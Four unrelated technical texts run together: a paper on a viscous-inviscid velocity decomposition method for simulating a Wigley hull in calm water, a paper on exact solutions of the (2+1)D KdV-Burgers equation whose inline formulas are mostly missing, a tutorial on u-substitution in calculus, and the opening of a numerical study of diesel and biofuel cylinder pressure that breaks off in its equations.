In this study, a viscous-inviscid method based on velocity decomposition is presented. The velocity of the flow field is decomposed into viscous velocity and inviscid velocity, the inviscid velocity is applied for the whole domain, which includes the damping area, and the remaining viscous velocity is just acting on a small domain around the ship hull according to the boundary layer theory. The remaining viscous velocity is computed by a modified N-S equation which coupled the inviscid part, after the inviscid velocity is obtained by solving Euler equation. The simulation of Wigley hull advancing in calm water is accomplished with present method also the decomposed velocity has been studied. The result shows the present method is robust and can be a practical method for partial viscous correction.
Inviscid/Viscous, Modified N-S Equation, Velocity Decomposition, Wigley Hull
Zhao, J. , Zhu, R. and Miao, G. (2017) Velocity Decomposition Method for Ship Advancing in Calm Water Simulation. World Journal of Engineering and Technology, 5, 42-50. doi: 10.4236/wjet.2017.54B005.
For the simulation of ship advancing in the calm water, the shape of free surface and the wave making force can be obtained accurately with the assumption of potential flow [1] [2] [3], and the viscous effect can be corrected with empirical formula estimation. Because according to Prandtl’s boundary layer theory, the viscous just effects around the body surface and the far field can be treated as potential flow. Based on this point, calculating the shape of free surface and far field with the inviscid assumption and do the viscous correction around the ship hull shall be a wise choice.
Thus far, there has been many researches in coupling viscous and inviscid flow [4] [5] [6], and the viscous/inviscid method have been widely applied for many hydrodynamic problems. This method always accomplished by decomposing the flow domain and iterating on the interface of viscous and inviscid domain, however these methods are not able to do the partial viscous correction, that the inviscid field has obtained already and need to correct the areas with significant viscous effects.
The main purpose of our present work is to develop a practical and efficient solver for viscous correction and ship hydrodynamic problems simulation. In this work, a velocity decomposition [7] method for simulating the Wigley hull advancing in the calm water is presented in detail. The present method is programmed on the platform of OpenFOAM and the solver is applicable for simulating the cases with free surfaces. The simulation of Wigley hull advancing in calm water has been completed with both velocity decomposition method and the traditional CFD method, the result agreed well with the experiment data, which shows the present method is suitable for viscous correction and ship hydrodynamic simulation.
2. Theory of the Viscous/Inviscid Method
The simulation of ship advancing in the calm water is a popular case in the area of ship hydrodynamic, and the govern equations can be written as follow,
\left\{\begin{array}{c}\frac{\partial \rho }{\partial t}+\frac{\partial \rho {u}_{i}}{\partial {x}_{i}}=0\\ \frac{\partial \rho {u}_{i}}{\partial t}+\rho {u}_{j}\frac{\partial {u}_{i}}{\partial {x}_{j}}=-\frac{\partial p}{\partial {x}_{i}}+\nu {\nabla }^{2}{u}_{i}\text{ }+S\\ \frac{\partial \alpha }{\partial t}+\frac{\partial \alpha {u}_{i}}{\partial {x}_{i}}=0\end{array}\text{ }\text{ }\text{ }\text{ }\text{ }\text{ }\text{ }\text{ }\text{ }\text{ }\text{ }\text{ }\text{ }\text{ }\text{ }\text{ }\text{ }\text{ }\text{ }\text{ }\text{ }\text{ }\text{ }\left(i,j=1,2,3\right)
{u}_{i}
is the velocity of the flow field; p is pressure; ν is viscosity;
\alpha
is water phase fraction;
\rho
express as
\rho =\alpha {\rho }_{1}+\left(1-\alpha \right){\rho }_{2}
{\rho }_{1}
is water density and
{\rho }_{2}
is air density; S is a source term including the gravity source, free surface tension source and damping source.
Generally, the viscous has little contribute to the shape of free surface, because the wave making resistance and free surface shape can be obtained by potential theory exactly. Here we ignore the viscous and free surface tensor, the govern equation of inviscid velocity can be written as
\left\{\begin{array}{c}\frac{\partial \rho }{\partial t}+\frac{\partial \rho {u}_{ei}}{\partial {x}_{i}}=0\\ \frac{\partial \rho {u}_{ei}}{\partial t}+\rho {u}_{j}\frac{\partial {u}_{i}}{\partial {x}_{j}}=-\frac{\partial p}{\partial {x}_{i}}+{S}_{e}\\ \frac{\partial \alpha }{\partial t}+\frac{\partial \alpha {u}_{ei}}{\partial {x}_{i}}=0\end{array}\text{ }\text{ }\text{ }\text{ }\text{ }\text{ }\text{ }\text{ }\text{ }\text{ }\text{ }\text{ }\text{ }\text{ }\text{ }\text{ }\text{ }\text{ }\text{ }\text{ }\text{ }\text{ }\text{ }\left(i,j=1,2,3\right)
{S}_{e}=-\theta \left(x\right)\cdot \left({u}_{i}-{U}_{0}\right)\text{ }\text{ }\text{ }\text{ }\text{ }\text{ },\text{ }\text{ }\text{ }\theta \left(x\right)=\left\{\begin{array}{c}\begin{array}{cc}{\theta }_{0}\frac{{e}^{{\left(\frac{x-{x}_{0}}{{x}_{1}-{x}_{0}}\right)}^{2}}-1}{e-1}& {x}_{1}<x<{x}_{0}\end{array}\\ \begin{array}{cc}0\text{ }\text{ }\text{ }\text{ }\text{ }\text{ }\text{ }\text{ }\text{ }\text{ }\text{ }\text{ }\text{ }\text{ }& x>{x}_{0}\end{array}\end{array}
{U}_{0}
is the coming flow velocity,
{\theta }_{0}
is a damping coefficient, x0 and x1 are the horizontal coordinates of the damping zone boundary.
As to the area around the ship hull, the viscous effect cannot be ignored. Mostly, the ITTC equation is supposed to be used for the drag force correction, while it is not accurate enough in many situations. To obtain a better viscous correction, here we decompose the total velocity into inviscid velocity
{u}_{e}
and viscous velocity
{u}^{\ast }
{u}_{i}={u}_{ei}+{u}_{i}^{\ast }
For the calculating of the viscous velocity, a much smaller domain size can be used according to boundary layer theory as shown in Figure 1, so the damping zone is not include in the viscous zone obviously, and the source term can be omitted.
The free surface of ship advancing can be treated as quasi steady state, so the phase need not to be calculated again, and the density can be treated as constant. With these assumption, substituting (4) into govern Equation (1), we can get the modified NS equation for the viscous velocity
{u}_{i}^{\ast }
as bellow.
\left\{\begin{array}{c}\frac{\partial {u}_{i}^{\ast }}{\partial {x}_{i}}=0\\ \frac{\partial {u}_{i}{}^{*}}{\partial t}+{u}_{j}{}^{*}\frac{\partial {u}_{i}{}^{*}}{\partial {x}_{j}}+\left[{u}_{ej}\frac{\partial {u}_{i}{}^{*}}{\partial {x}_{j}}+{u}_{j}{}^{*}\frac{\partial {u}_{ei}}{\partial {x}_{j}}\right]=-\frac{1}{\rho }\frac{\partial p}{\partial {x}_{i}}+\frac{\nu }{\rho }{\nabla }^{2}\left({u}_{ei}+{u}_{i}{}^{*}\right)-{u}_{ej}\frac{\partial {u}_{ei}}{\partial {x}_{j}}\end{array}
Equation (5) is the govern equation for the viscous velocity, which coupled the inviscid velocity. The Equation (5) keeps the form of NS equation, but much simple than the original form, so it is supposed to be a fast and accurate way for the viscous correction.
3. Numerical Implantation Method
Before solving the modified N-S equation, the inviscid velocity in the viscous zone should be obtained first according to (5). Generally, the inviscid zone and the viscous zone uses different set of meshes, and to obtain the inviscid velocity, the interpolation cannot be avoided. However, the velocity interpolation including the boundary surface and the interior zone shall take much time, and the computation efficient can be effected, so the domain decomposition is also adopted here.
Figure 1. Sketch of viscous and inviscid domain.
The domain decompose method is showed in Figure 2. When solving the inviscid velocity, zone 1 and zone 2 are combined. Then the inviscid velocity in viscous zone can be obtained by mapping without interpolation. At last the viscous velocity can be solved in zone 2 with its boundary condition showed below.
The viscous velocity is obtained by solving modified N-S equation after the inviscid velocity is obtained, and the solving process is nearly the same with the traditional CFD method while the boundary condition have some obvious differences (Table 1).
Where the OpenFOAM solvers LTSinterFoam is adopt as CFD method for solving turbulence and laminar flow respectively. For the velocity boundary, the biggest difference locates at the body B.C. and the inlet B.C. For the truncated boundary, the viscous velocity is used zero value B.C. instead of fixed value of U for the assumption that the flow at the truncated position can be treated as potential flow. The body B.C. is derived from the no-slip boundary condition, so the sum of potential velocity and non-potential velocity should be zero.
For the outlet boundary, the boundary condition should be the same as the inlet B.C. according to the velocity decomposition theory, while it will cause continuity errors during the solution. Besides the outlet boundary contains a part of wake zone, where the viscous effect cannot be ignored, so the flow at the outlet boundary cannot be treated as potential flow and a zero gradient B.C. is used.
Figure 2. Sketch of domain decompose method.
Table 1. Boundary condition.
The k and omega boundary value are calculated with the formula below:
k=\frac{3}{2}{\left(UI\right)}^{2}
\omega ={0.09}^{-\frac{1}{4}}\frac{\sqrt{k}}{l}
where U is the flow velocity, I is Turbulence intensity, l is Turbulence length scale. It is worth to mention that when the pressure decomposed, the pressure B.C for the body should be changed to negative potential pressure gradient.
The simulation of Wigely hull advance in the calm water is famous in the ship hydrodynamic area, and there is enough experiment data and simulation result for comparison, so it is good to be chosen to test the velocity decomposition theory. The shape of the Wigley hull can be express as:
y=\frac{B}{2}\left[1-{\left(\frac{2x}{L}\right)}^{2}\right]\left[1-{\left(\frac{z}{T}\right)}^{2}\right]\text{ }\text{ }\text{ }\text{ }\text{ }\text{ }\text{ }\text{ }\text{ }\text{ }\text{ }\text{ }\text{ }\text{ }\text{ }\text{ }\text{ }\text{ }\text{ }\text{ }\text{ }-\frac{L}{2}\le x\le \frac{L}{2},-T\le z\le 0
where L = 1 m is the length of the hull, B = 0.1 m is the hull width, T = 0.0625 m is the draft. As the computation domain is decomposed as mentioned before, the range of the inviscid domain and the viscous domain are showed in Table 2 and Figure 3.
The k-omega SST model is adopted in the computing of the viscous velocity, so the mesh in the viscous zone should be dense enough for the simulation. The average y+ is chosen 100, the mesh of the inviscid and viscous domain are shown as follow Figure 4 and Figure 5.
Figure 4. Mesh of the inviscid domain.
Figure 5. Mesh of the viscous domain.
Table 2. Domain size.
According to the velocity decomposition theory, the final velocity field is the summation of inviscid velocity field and the viscous velocity field. So, it is necessary to export these flow fields for further study.
Figures 6-9 give the velocity count by traditional CFD method u, the velocity result by velocity decomposition method ut, the inviscid velocity by velocity decomposition method up, the viscous velocity by viscous/inviscid method u* respectively.
In the viscous velocity counter of Figure 7, the velocity in the far field except the wake zone and some area of free surface is almost zero which means the computation domain can be reduced and the present velocity decomposition method can capture the area of viscous effects. Also the viscous velocity on the free surface is zero in most area means the viscous contributes little to the free surface.
Figure 10 gives the wave height along the Wigley hull, from this figure it is clear that there exist some difference in the front and after of the Wigley hull, where the viscous effect is obvious. However, the wave height calculated with inviscid assumption correspond with experiment data [8] very well, which means it is reasonable to compute the free surface with the assumption of inviscid.
It is clear that the drag force cannot be computed correctly if the viscous been ignored, so the result of drag force shall be a good criterion to judge the velocity decomposition method.
The drag force and its component at Fr = 0.32 are shown in Table 3, and the results are agreed well with the experiment data. From the table, it is obvious that the velocity decomposition method is even turned to be a little better than the CFD method, which means that the present method is robust and accurate for viscous correction.
To accomplish the simulation of the ship advance in the calm water, a velocity decomposition method is presented in this work. In this method, the fluid is treated inviscid in a large domain which include the damping zone and the viscous is considered in a small domain with some reasonable assumption. The simulation of ship advancing in calm water is completed by present method. Through analyzing the result of cases, it can be concluded as follow.
Firstly, the present velocity decomposition method is suitable for simulating the ship advancing in calm water. The drag force result calculated by present method agrees with the experiment data very well, which proves that the present
Figure 6. Velocity count of ue by present method.
Figure 7. Velocity count of u* by present method.
Figure 8. Velocity count of ut by present method.
Figure 9. Velocity count of u by traditional CFD method.
Figure 10. The comparison of wave profile on the hull at Fr = 0.32.
Table 3. Force coefficient at Fr = 0.32.
method is robust and the assumption in this work is reasonable.
Secondly, the present velocity decomposition method is efficient in viscous correction and numerical simulation. In the present, if the inviscid flow field is obtained advance, the result that considered viscous can be obtained fast by solving the modified N-S equation in a small domain easily, so it is a good method for partial viscous correction. Also, this method can be treated as a viscous-inviscid coupling method for simulation.
Last, the present velocity decomposition method can reflect the viscous effect in the flow domain. In the viscous velocity count, the viscous effect is positive correlation with magnitude of viscous velocity, and which result is helpful to study the viscous effect.
[1] Chen, X., Zhu, R.C., Miao, G.P., et al. (2015) Calculation of Ship Sinkage, Trim and Wave Drag Using High-Order Rankine Source Method. Shipbuilding of China, No. 3, 1-12.
[2] Chen, X., Zhu, R.C., Ma, C., et al. (2016) Computations of Linear and Nonlinear Ship Waves by Higher-Order Boundary Element Method. Ocean Engineering, 114, 142-153. https://doi.org/10.1016/j.oceaneng.2016.01.016
[3] Shao, Y.-L. (2010) Numerical Potential-Flow Studies on Weakly-Nonlinear Wave-Body Interactions with/without Small Forward Speeds. Norwegian University of Science and Technology, Norway, 43-44.
[4] Dinh, Q.V., Glowinski, R., Périaux, J., et al. (1988) On the Coupling of Viscous and Inviscid Models for Incompressible Fluid Flows via Domain Decomposition. In: Glowinski, R., Golub, G., Meurant, G., et al., Eds., First International Symposium on Domain Decomposition Methods for Partial Diferential Equations, SIAM, Philadelphia, 350-369.
[5] Hamilton, J.A. (2002) Viscous-Inviscid Matching for Wave-Body Interaction Problems. University of California, Berkeley.
[6] Purohit, J.B. (2013) An Improved Viscous-Inviscid Interactive Method and Its Application to Ducted Propellers.
[7] Helmholtz, H. (1867) LXIII. On Integrals of the Hydrodynamical Equations, Which Express Vortex-Motion. The London, Edinburgh, and Dublin Philosophical Magazine and Journal of Science, 33, 485-512.
[8] Kajitani, H., Miyata, H., Ikehata, M., et al. (1983) The Summary of the Cooperative Experiment on Wigley Parabolic Model in Japan.
[9] Sangseon, J. (1983) Study of Total and Viscous Resistance for the Wigley Parabolic Ship Form.
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Saddle-Node Heteroclinic Orbit and Exact Nontraveling Wave Solutions for (2+1)D KdV-Burgers Equation
Da-Quan Xian, "Saddle-Node Heteroclinic Orbit and Exact Nontraveling Wave Solutions for (2+1)D KdV-Burgers Equation", Abstract and Applied Analysis, vol. 2013, Article ID 696074, 7 pages, 2013. https://doi.org/10.1155/2013/696074
Da-Quan Xian1
1School of Sciences, Southwest University of Science and Technology, Mianyang 621010, China
We have undertaken the fact that the periodic solution of (2+1)D KdV-Burgers equation does not exist. The Saddle-node heteroclinic orbit has been obtained. Using the Lie group method, we get two-(1+1)-dimensional PDE, through symmetric reduction; and by the direct integral method, spread F-expansion method, and -expansion method, we obtain exact nontraveling wave solutions, for the (2+1)D KdV Burgers equation, and find out some new strange phenomenons of sympathetic vibration to evolution of nontraveling wave.
We consider the (2+1)-dimensional Korteweg-de Vries Burgers ((2+1)D KdV Burgers) equation where , , , and are real parameters. Equation (1) is model equation for wide class of nonlinear wave models in an elastic tube, liquid with small bubbles, and turbulence [1–3]. Much attention has been put on the study of their exact solutions by some methods [4], such as, a complex line soliton by extended tanh method with symbolic computation [5], exact traveling wave solutions including solitary wave solutions, periodic wave and shock wave solutions by extended mapping method, and homotopy perturbation method [6, 7].
It is well known that the investigation of exact solutions of nonlinear evolution equations plays an important role in the study of nonlinear physical phenomena. Many effective methods have been presented [7–22], such as functional variable separation method [8, 9], homotopy perturbation method [12], F-expansion method [7, 13], Lie group method [14, 15], variational iteration method [16], homoclinic test method [17–19], Exp-function method [20, 21], and homogeneous balance method [22]. Practically, there is no unified method that can be used to handle all types of nonlinearity.
In this paper, we will discuss the existence of periodic traveling wave solution and seek the Saddle-Node heteroclinic orbit, and further use the Lie group method with the aid of the symbolic computation system Maple to construct the non-traveling wave solutions for (1).
2. Existence of Periodic Traveling Wave Solution of (1)
Introducing traveling wave transformation in this form permits us to convert (1) into an ODE for where , Integrating (3) with respect to twice and taking integration constant to yields Letting , thus nonlinear ordinary differential equation (4) is equivalent to the autonomous dynamic system as follows: The dynamic system (5) has two balance points: The Jacobi matrixes at the balance points for the right-hand side of (5) are obtained as follows, respectively: Their latent equations are expressed, respectively, as, Relevant latent roots are as follows respectively: Obviously, if , then are two positive real roots, therefore is a nonsteady node point. If , then are conjugate complex roots and real part is positive, so is a nonsteady focus point. And is a positive and minus real root, thus is a saddle point. From (5), we know the phase trajectory on the phase plane satisfies Integrating (11), we can obtain where is a total energy or Hamiliton function of system (4). Apparently Consequently, the system expressed in (12) is not a conservative one, then periodic traveling wave solution of (1) does not exist.
We conclude the above analysis in the following theorem.
Theorem 1. Under the traveling wave transformation, the periodic solution of (2+1)-dimensional KdV-Burgers equation does not exist.
But, saddle-node heteroclinic orbits and nontraveling periodic solution do exist, which will be discussed later in this paper.
3. Saddle-Node Heteroclinic Orbits of KdV-Burgers Equation
First, we assume the solutions of (4) in the form Substituting (14) into (4) yields Then we get Solving the system (16) gets Substituting (17) into (14) obtains Evidently, , . Thus (18) is a saddle-node heteroclinic orbit through nonsteady node point and saddle point [23].
Ecumenic, taking the Hamiliton function , we obtain where is an arbitrary constant. Integrating (19) with respect to we have where is an arbitrary constant. We can see that (4) has the general solution (20) and all partial cases as include above result can be found from the general solution of (20). Example, take , , in (20), we find a solution of (4) as follows: It is a heteroclinic orbit too.
4. Li Symmetry of (1)
This section devotes to Li symmetry of (1) [14, 15]. Let be the Li symmetry of (1). From Lie group theory, satisfies the following equation We take the function in the form where () are functions to be determined later. Substituting (3) into (2) yields where () are arbitrary functions of , is an arbitrary constant. Substituting (25) into (24), we obtain the Li symmetries of (1) as follows:
5. Symmetry Reduction and Solutions of (1)
Based on the integrability of reduced equation of symmetry (26), we are to consider the following three cases.
Case 1. Taking and in (26) yields The solution of the differential equation is Substituting (28) into (1) yields the function which satisfies the following linear PDE: By integrating both sides, we find out the following result: where , are new arbitrary functions of . Substituting (30) into (28), we can get the solutions of (1) as follows: (1) Given (), , in (31), the local structure of is obtained (Figure 1). Where is an Jacobian elliptic cosine function.
(2) Given , , , , in (31), the local structure of is obtained (Figure 2).
The strange phenomenon which is a sympathetic vibration of periodicity on the -axis and paraboloid on -axis for as .
The periodic solution which is a periodic nontraveling wave traveling on the -axis for as .
Case 2. Take , and in (26), then Solving the differential equation , we can get Substituting (33) into (1) and integrating once with respect to yield Again, further using the transformation of dependent variable to (34), Substituting (35) into (34) and integrating once with respect to yield where is an integration constant, . We assume that the solution of (36) can be expressed in the form where () are constants to be determined later, satisfies the following auxiliary equation Substituting (37) and (38) into (36) and equating the coefficients of all powers of to zero yield a set of algebra equations for , , , and as follows. Solving the system of function equations with the aid of Maple, we obtain when , , , where .
It is known that solutions of (38) are as follows [24]: Substituting (41), (40), (37), and (35) into (33), we obtain solutions of (1) as follows: (see Figures 3 and 4).
Local structure of is shown as , , , , , and .
Local structure of is shown as , , , , , .
Remark 2. If we direct assume that the solution of (34) can be expressed in the form where , , and are continuous functions of to be determined later. satisfies the auxiliary equation (38). Substituting (43) and (38) into (34), equating the coefficients of all powers of to zero yields a set of function equations for , , , , and as follows: Solving the system of function equations, we obtain This result indicate the idea is equivalent to idea of Case 2 above.
Case 3. Take and in (26), then Solving the differential equation , we obtain Substituting (47) into (1) yield Using the transformation and integrating the resulting equation with respect to we have where is an arbitrary constant, . Suppose that the solution of ODE (49) can be expressed by a polynomial in as follows: where satisfies the second-order LODE in the form [25] Balancing with in (49) gives . So that where () and are constants to be determined later. Substituting (52) and (51) into (49). Setting these coefficients of the to zero, yields a set of algebraic equations as follows: Solving the algebraic equations above yields when and . Consequently, we obtain the following solution of (1) for : where .
Based on the fact that the periodic solution of (2+1)D KdV-Burgers equation does not exist, we have obtained Saddle-node Heteroclinic Orbits. By applying the Lie group method, we reduce the (2+1)D KdV Burgers equation to (1+1)-dimensional equations including the (1+1)-dimensional linear partial differential equation with constants coefficients (29), (48) and (1+1)-dimensional nonlinear partial differential equation with variable coefficients (34). By solving the equations (29), (34), and (48), we obtain some new exact solutions and discover the strange phenomenon of sympathetic vibration to evolution of nontraveling wave soliton for the (2+1)D KdV Burgers equation. Our results show that the unite of Lie group method with others is effective to search simultaneously exact solutions for nonlinear evolution equations. Other structures of solutions with symmetry (26) are to be further studied.
The authors would like to thank professor S. Y. Lou for the helpful discussions. This work was supported by key research projects of Sichuan Provincial Educational Administration no. 10ZA021 and Chinese Natural Science Foundation Grant no. 10971169.
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What Is U-Substitution? | Outlier
U-substitution is a useful method for integrating composite functions. In this article, we’ll discuss the meaning of u-substitution, how to use u-substitution, common mistakes students make, and review some practice problems.
How to Do U-Substitution
Two Common Mistakes Using U-Substitution
Examples of U-Substitution
What Is U-Substitution
You’re probably familiar with the idea that integration is the reverse process of differentiation. U-substitution is an integration technique that specifically reverses the chain rule for differentiation. Because of this, it’s common to refer to u-substitution as the reverse chain rule. We may also refer to it as integration by substitution, or “change of variables” integration.
U-substitution integration allows us to find the antiderivative of composite functions.
Dr. Tim Chartier explains antiderivatives more:
You can think of u-substitution as the chain rule executed backward. To “undo” the chain rule, we rewrite the integral in terms of
du
u
Since u-substitution “undoes” the chain rule, we can use the chain rule formula to help determine which problems require u-substitution. If you can spot a function and its derivative in the same integrand, that indicates that u-substitution is likely the best integration method for that scenario.
First, let’s review the chain rule below. The chain rule states:
\frac{d}{dx}f(g(x)) = f’(g(x))g’(x)
An integrand that you can evaluate using u-substitution might look something like this. Do you see the chain rule formula?
\int f(g(x))g’(x)dx
Using u-substitution, we substitute
u = g(x)
du = g’(x)
into our integrand, which “undoes” the chain rule:
\int f(g(x))g’(x)dx = \int f(u)du
Here are 4 simple steps for u-substitution:
Pick your “u”. This expression is the "inside" part of the chain rule and is usually the term inside a radical, power, or denominator.
u
du
. If your
du
does not match what’s left inside the integrand perfectly, you must rearrange your
du
so that it does match perfectly.
u
du
into the integrand, and integrate using the key integration formulas that are already familiar to you.
Substitute the original values back into the equation after integrating. Remember to add the constant of integration to your final answer.
Let’s solve one problem together. We’ll evaluate
\int 3(3x + 1)^5 dx
. Examine this function carefully. First, notice that we have a composite of functions with
3x + 1
raised to the fifth power. And, notice that we have a function and its derivative in the same integral. The derivative of
3x + 1
3
3x + 1
3
are inside the integrand. This means that u-substitution is the way to go! Let’s walk through our 4 steps.
Remember that we want our substitution integral to look like
\int f(u)du
3x + 1
is part of a composite of functions, and since the derivative of
3x + 1
is present elsewhere in the integrand, we’ll let
u = 3x + 1
du
\frac{du}{dx}
and then multiply by
dx
\frac{du}{dx} = 3
du = 3dx
Now we can evaluate our integral by substituting
u = 3x + 1
du = 3dx
into the integrand. Then, we can evaluate using the power rule for integrals.
\int f(g(x))g’(x)dx = \int f(u)du
\int 3(3x + 1)^5 dx = \int u^5 du
=\frac{u^6}{6}
4. Finally, we can substitute the original values
u = 3x + 1
du = 3dx
back into our equation to get our final answer.
\frac{u^6}{6} = \frac{(3x+1)^6}{6} + C
To help with Step 3, review the list of standard integral rules below. These formulas are essential for any integration method. Assume that
f
g
Sum and Difference Rule:
\int [f(x) \pm g(x)]dx = \int f(x)dx \pm \int g(x)dx
Constant Multiplier Rule:
\int kf(x)dx = k\int f(x)dx
k
\int x^ndx = \frac{x^{n+1}}{n+1} + C
n
\int adx = ax + C
a
Reciprocal Rules:
\int \frac{1}{x}dx = \int x^{-1}dx = \ln{|x|} + C
\int\frac{1}{ax+b}dx = \frac{1}{a} \ln{(ax+b)} + C
Exponential and Logarithmic Function Rules:
\int e^xdx = e^x + C
\int a^xdx = \frac{a^x}{\ln{(x)}} + C
a
\int \ln{(x)}dx = x\ln{(x)}-x + C
Trigonometric Function Rules:
For these rules, assume that
x
\int \sin{x}dx = -\cos{x} + C
\int \cos{x}dx = \sin{x} + C
\int \sec ^2 xdx = \tan{x} + C
\int \csc ^2 xdx = -\cot{x} + C
\int \sec{x}\tan{x}dx = \sec{x} + C
\int \csc{x}\cot{x}dx = -\csc{x} + C
Choosing the wrong
u
du
Many students struggle with determining which expression to designate as
u
and which expression to designate as
du
. Choosing the wrong
u
du
will result in an incorrect answer.
Remember, you’re looking for two functions within the integrand that fit the framework given by the chain rule. Make sure that
u
is equal to the “inside” function of the chain rule, or the inner part of the composite of functions. Double-check that you’ve differentiated
u
correctly to find
du
Forgetting to multiply/divide by a constant, when necessary.
Sometimes, your calculated
du
isn’t immediately visible inside the integrand. In this case, you can algebraically adjust your
du
substitution to match the expression that is present in the integrand. Usually, this means multiplying or dividing the integrand by a constant. For example, consider
\int x \sin{(x^2+1)}dx
u
du
, we find the
u = x^2+1
du = 2xdx
. But it’s clear that
du = 2xdx
isn’t part of our integrand, and can’t be immediately substituted.
This is easily fixed. While
du = 2xdx
isn’t present, notice that
xdx
is. We can solve for
xdx
and substitute that value into our integrand instead. Dividing both sides of
du = 2xdx
by 2, we find that
\frac{1}{2}du = xdx
Now, we can substitute
u = x^2+1
\frac{1}{2}du = xdx
into the integrand and solve normally.
\int f(g(x))g’(x)dx = \int f(u)du
\int x \sin{(x^2+1)}dx = \frac{1}{2} \int \sin{(u)}du
= -\frac{1}{2} \cos{(u)}
= -\frac{1}{2} \cos{(x^2+1)} + C
We’ll work through 3 more practice problems together.
\int \frac{3}{(3x+1)^2}dx
u = 3x + 1
du = 3dx
. Now, we can substitute
u
du
into the integrand.
\int f(g(x))g’(x)dx = \int f(u)du
\int \frac{3}{(3x+1)^2}dx = \int \frac{du}{u^2}
= \int u^{-2}du
= \frac{u^{-1}}{-1}
= \frac{1}{-3x-1} + C
\int \sqrt{5x+2}dx
u = 5x + 2
du = 5dx
. But notice that
5dx
is not immediately visible in our integrand. We can fix this by cleverly manipulating the integrand so that
5x
becomes present. We’ll use the trick that
\frac{1}{5} \cdot 5 = 1
. So, we have:
\int \sqrt{5x+2}dx = \int \frac{1}{5} \cdot 5 \sqrt{5x+2}dx
Now we can substitute
u
du
as normal, and use the constant multiplier rule to bring the constant
\frac{1}{2}
outside of the integral.
\int f(g(x))g’(x)dx = \int f(u)du
\int \frac{1}{5} \cdot 5 \sqrt{5x+2}dx = \frac{1}{5} \int \sqrt{u}du
= \frac{1}{5} \int u^{\frac{1}{2}}du
=\frac{1}{5} \cdot \frac{u^{\frac{3}{2}}}{\frac{3}{2}}
=\frac{1}{5} \cdot \frac{2}{3}u^{\frac{3}{2}}
=\frac{2}{15}u^{\frac{3}{2}}
=\frac{2}{15}(5x+2)^{\frac{3}{2}} + C
\int \frac{\ln{(x)}^2}{x}dx
u = \ln{(x)}
du = \frac{1}{x}dx
u
du
\int f(g(x))g’(x)dx = \int f(u)du
\int \frac{\ln{(x)}^2}{x}dx = \int u^2 du
= \frac{u^3}{3}
= \frac{\ln{(x)}^3}{3} + C
How to Find Limits in Calculus
Integration in Math: Definition, How to Calculate It, and Examples
|
Numerical Analysis of the Compression Ratio’s Influence, the Nature of the Fuel and the Injection Feed on the Cylinder Pressure
1Department of Physics, Energy Laboratory, Electrical and Electronic Systems, University of Yaounde 1, Yaounde, Cameroon
2Faculty of Industrial Engineering, University of Douala, Douala, Cameroon
This article analyses numerically the simultaneous influence of the compression rate, fuel nature and the advanced injection of fuel on maximum cylinder pressure during the combustion phrase with the help of the Python Spyder calculation code. Indeed, several authors have shown that the combustion of biofuels which make it possible to compensate for fossil and exhaustible resources, presents a cylinder pressure higher by about 3.5% compared to that of conventional diesel D100. This increase in pressure can be reduced by the means of controlling parameters making it possible to preserve the life of the engine and also reduce nitrogen oxides (NOx) and particular matter (PM). This article has two objectives which are: putting in place a numerical tool for the evaluation and simulation of thermal engines and the influence of control parameters on cylinder pressure. The single zone 0D combustion model which considers only the physical phenomena and considers the mixed fuel as a perfect gas is used. The fuel used is the Neem biofuel produced by Doctor Merlin Ayissi of the University of Douala and the D100 diesel fuel. The results are obtained from three fuel injection angles of 20˚, 13˚ and 10˚ before the TDC (Top Dead Centre) and three values of the engine compression rates of 15, 20 and 25. The delay in combustion is characteristic of the fuel used as illustrated by the cetane number. The results show that the cylinder pressure increases with increasing compression rate and a very high advanced injection. It also shows that the pressure is high when diesel D100 is used instead of D100 biodiesel.
Q-W=U
PV=mRT
V\text{d}P+P\text{d}V=mR\text{d}T
\text{d}U=\text{d}\left(m{C}_{v}T\right)
\text{d}U=m{C}_{v}\text{d}T+mT\text{d}{C}_{v}
\frac{R}{{C}_{v}}\left(\text{d}U-mT\text{d}{C}_{v}\right)=mR\text{d}T
V\text{d}P+P\text{d}V=\frac{R}{{C}_{v}}\left(\text{d}U-mT\text{d}{C}_{v}\right)
V\text{d}P+P\text{d}V=\frac{R}{{C}_{v}}\left(\text{d}U-mT\text{d}{C}_{v}\right)
\text{d}U=\frac{{C}_{v}}{R}\left(V\text{d}P+P\text{d}V\right)-mT\text{d}{C}_{v}
\text{d}{Q}_{net}-\text{d}{Q}_{p}-P\text{d}V=\frac{{C}_{v}}{R}\left(V\text{d}P+P\text{d}V\right)-mT\text{d}{C}_{v}
\text{d}\theta
\frac{\text{d}{Q}_{net}}{\text{d}\theta }-\frac{\text{d}{Q}_{p}}{\text{d}\theta }-P\frac{\text{d}V}{\text{d}\theta }=\frac{{C}_{v}}{R}\left(V\frac{\text{d}P}{\text{d}\theta }+P\frac{\text{d}V}{\text{d}\theta }\right)-mT\frac{\text{d}{C}_{v}}{\text{d}\theta }
\frac{R}{{C}_{v}}=\gamma -1
{C}_{v}=\frac{R}{\gamma -1}
\theta
\frac{\text{d}{C}_{v}}{\text{d}\theta }=-\frac{R}{{\left(\gamma -1\right)}^{2}}\frac{\text{d}\gamma }{\text{d}\theta }
\frac{\text{d}{Q}_{net}}{\text{d}\theta }-\frac{\text{d}{Q}_{p}}{\text{d}\theta }-P\frac{\text{d}V}{\text{d}\theta }=\frac{{C}_{v}}{R}\left(V\frac{\text{d}P}{\text{d}\theta }+P\frac{\text{d}V}{\text{d}\theta }\right)+\frac{mRT}{{\left(\gamma -1\right)}^{2}}\frac{\text{d}\gamma }{\text{d}\theta }
\frac{\text{d}P}{\text{d}\theta }
\frac{\text{d}P}{\text{d}\theta }=\frac{\gamma -1}{V}\left(\frac{\text{d}{Q}_{net}}{\text{d}\theta }-\frac{\text{d}{Q}_{p}}{\text{d}\theta }\right)-\frac{\gamma P}{V}\frac{\text{d}V}{\text{d}\theta }-\frac{P}{\gamma -1}\frac{\text{d}\gamma }{\text{d}\theta }
V\left(\theta \right)=\frac{\pi {D}^{2}S}{8}\left(1-\mathrm{cos}\left(\theta \right)+\lambda -\sqrt{{\lambda }^{2}-{\mathrm{sin}}^{2}\left(\theta \right)}+\frac{2}{CR-1}\right)
\frac{\text{d}V\left(\theta \right)}{\text{d}\theta }=\frac{\pi {D}^{2}S}{8}\left(1-\frac{\mathrm{cos}\theta }{\sqrt{{\lambda }^{2}-{\mathrm{sin}}^{2}\theta }}\right)\mathrm{sin}\theta
\lambda
\theta
\gamma
\gamma =1.458-1.628\times {10}^{-4}T+4.139\times {10}^{-8}{T}^{2}
{Q}_{p}
\frac{\text{d}{Q}_{p}}{\text{d}\theta }={h}_{c}A\left(\theta \right)\left(T-{T}_{p}\right)\frac{1}{\omega }
\omega =2\pi N
{h}_{c}
